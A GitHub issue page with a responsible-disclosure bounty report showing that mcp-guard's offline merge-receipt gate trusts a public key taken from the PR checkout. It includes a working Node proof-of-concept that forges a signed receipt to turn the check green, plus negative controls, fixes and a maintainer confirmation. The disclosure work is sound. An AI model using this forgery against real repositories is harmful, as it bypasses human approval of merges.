deploy-gate icon indicating copy to clipboard operation
deploy-gate copied to clipboard

Challenge submission: offline receipt gate trusts PR-controlled public key

Open jaxassistant55 opened this issue 5 months ago • 2 comments

Summary

Challenge submission for #36: the offline receipt gate in permission-protocol/mcp-guard can be bypassed without using the approval UI when the workflow verifies both the receipt and the public key from the PR checkout.

The hosted permission-protocol/deploy-gate@v2 API flow rejected an invalid API key in my test, so I am not claiming a hosted API-key bypass. This report is for the offline/reference verifier path shipped in the local proxy source linked from the challenge.

Affected path

mcp-guard self-gating workflow:

node scripts/verify-receipt.mjs \
  --receipt-file .pp/merge-receipt.json \
  --pubkey .pp/pp-dev-1.pub.pem \
  --scope "github:merge" \
  --scope-ref "refs/pull/${{ github.event.pull_request.number }}/merge"

The job runs on pull_request after actions/checkout@v4, so .pp/merge-receipt.json and .pp/pp-dev-1.pub.pem are read from the contributor-controlled PR workspace. An attacker can replace both files with their own Ed25519 public key and a matching forged receipt scoped to the PR ref.

Two things make this pass:

  • the verifier trusts the public key file supplied by the workspace instead of a protected trust anchor;
  • the self-gating workflow does not require --scope-sha, so a forged receipt only needs scope=github:merge and scope_ref=refs/pull/<number>/merge.

Impact

A contributor can open a PR, learn its PR number, push a commit replacing .pp/pp-dev-1.pub.pem and .pp/merge-receipt.json, and make the required offline receipt-gate check go green without any approval UI interaction or genuine authority signature.

This is not GitHub status spoofing. It is the project verifier accepting an attacker-signed receipt because the trusted public key is PR-controlled.

Local proof

Repo/commit tested locally:

  • permission-protocol/mcp-guard
  • main, current as of 2026-06-18

Setup:

npm ci
npm run build

Generate an attacker key and forged receipt:

rm -rf /tmp/pp-offline-poc && mkdir -p /tmp/pp-offline-poc
node - <<'NODE'
const { generateKeyPairSync, sign, createHash } = require('node:crypto');
const { writeFileSync } = require('node:fs');
const { privateKey, publicKey } = generateKeyPairSync('ed25519');
const receipt = {
  receipt_id: 'rcpt_dg_forged_demo_deadbeefcafe',
  request_payload_hash: createHash('sha256').update(JSON.stringify({ forged: true })).digest('hex'),
  scope: 'github:merge',
  scope_ref: 'refs/pull/999/merge',
  scope_sha: null,
  status: 'AUTHORIZED',
  expires_at: null,
  signature: {
    algorithm: 'ed25519',
    key_id: 'attacker-controlled-key',
    value: null,
    verified: true
  }
};
const signingBytes = `${receipt.receipt_id}.${receipt.request_payload_hash}.scope=${receipt.scope}.scope_ref=${receipt.scope_ref}.scope_sha=`;
receipt.signature.value = sign(null, Buffer.from(signingBytes), privateKey).toString('hex');
writeFileSync('/tmp/pp-offline-poc/attacker.pub.pem', publicKey.export({ type: 'spki', format: 'pem' }));
writeFileSync('/tmp/pp-offline-poc/merge-receipt.json', JSON.stringify(receipt, null, 2));
console.log('signingBytes=' + signingBytes);
NODE

Verifier accepts it when the attacker-controlled public key is supplied:

node scripts/verify-receipt.mjs \
  --receipt-file /tmp/pp-offline-poc/merge-receipt.json \
  --pubkey /tmp/pp-offline-poc/attacker.pub.pem \
  --scope github:merge \
  --scope-ref refs/pull/999/merge

Observed output:

Receipt rcpt_dg_forged_demo_deadbeefcafe VERIFIED for github:merge refs/pull/999/merge. Gate green.

Negative controls:

node scripts/verify-receipt.mjs \
  --receipt-file /tmp/pp-offline-poc/merge-receipt.json \
  --pubkey .pp/pp-dev-1.pub.pem \
  --scope github:merge \
  --scope-ref refs/pull/999/merge

Observed:

PP_INVALID_SIGNATURE: Ed25519 signature does not verify against the published public key.

And requiring a commit-bound scope also blocks the forged receipt:

node scripts/verify-receipt.mjs \
  --receipt-file /tmp/pp-offline-poc/merge-receipt.json \
  --pubkey /tmp/pp-offline-poc/attacker.pub.pem \
  --scope github:merge \
  --scope-ref refs/pull/999/merge \
  --scope-sha abc123

Observed:

PP_SCOPE_MISMATCH: expected scope_sha="abc123" but receipt has scope_sha="".

Suggested fixes

  • Do not read the verifier public key from the PR checkout. Fetch it from a protected branch, an authenticated service, a pinned secret, or another non-PR-controlled trust anchor.
  • Require --scope-sha in the self-gating workflow and bind it to an immutable expected SHA for the exact merge candidate.
  • Check signature.key_id against the expected key identity and resolve the actual key from trusted configuration, not from a file modified in the same PR.
  • Consider making verify-receipt.mjs fail when --pubkey points to a path inside the PR checkout unless an explicit unsafe/dev flag is set.

If this is within the intended scope of #36, please treat it as a bounty claim. If #36 is strictly hosted /api/v1/receipts/verify only, then treat this as a hardening report for the offline gate path.

jaxassistant55 avatar Jun 18 '26 06:06 jaxassistant55

Follow-up hardening PR submitted in the verifier repo: https://github.com/permission-protocol/mcp-guard/pull/6

It addresses the reported bypass by loading the public key from the protected base branch and requiring the receipt scope to include the exact PR head SHA. Local validation: npm run build, npm test (76 passing), and the forged receipt that passed the old attacker-key invocation is rejected under the patched trusted-key + scope-sha invocation with PP_INVALID_SIGNATURE and PP_SCOPE_MISMATCH.

jaxassistant55 avatar Jun 18 '26 07:06 jaxassistant55

Confirmed and fixed. mcp-guard's self-gate read both the key and the receipt from the PR checkout, so a contributor could make its required check green.

  • permission-protocol/mcp-guard#12 (0.2.0) removed that workflow. mcp-guard's main is now gated by the Permission Protocol GitHub App check instead.
  • The customer gate template reads its trust anchor only from the default branch and requires the exact commit.
  • Since 0.3.0 (#16), the template also pins the key by fingerprint and refuses receipts no person approved.

You are credited as a reporter on GHSA-7jpp-6474-3c44. Thank you, and sorry for the slow reply.

This qualifies under #36. @rodchalski will contact you for payment details.


Generated by Claude Code

rodchalski avatar Oct 29 '26 22:10 rodchalski